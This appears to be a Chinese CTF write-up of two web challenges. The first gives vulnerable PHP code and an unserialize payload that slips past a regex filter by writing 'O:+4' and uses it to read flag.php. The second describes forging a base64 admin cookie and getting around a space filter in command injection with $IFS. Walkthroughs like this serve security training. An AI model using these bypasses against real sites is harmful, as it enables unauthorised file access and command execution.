打开页面出现代码,unserialize,需要反序列化,正则筛选值preg_match('/[oc]:\d+:/i',$data,$matches);发现过滤了O:4这类值,用O:+4可以过滤.
正常反序列化 O:4:"baby":1:{s:4:"file";s:8:"flag.php";}会被过滤
所以用O:+4:"baby":1:{s:4:"file";s:8:"flag.php";} 绕过正则.
得到flag{ad2328a2c3f0933c053fd3c6f28f6143}.

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

ezweb2-安恒12月月赛

扫目录,扫到了admin.php,页面提示,you are not admin,想到了改cookie
发现cookie里面有user,将其解码是base64加密,所以把admin用base64加密,进入了后台管理系统,发现是个任意漏洞命令执行.ls能执行,又试了下ls /报错了,后面发现空格被过滤了.百度了下发现$IFS能够绕过.

1

发现了ffLAG_404,打开获得了flag

2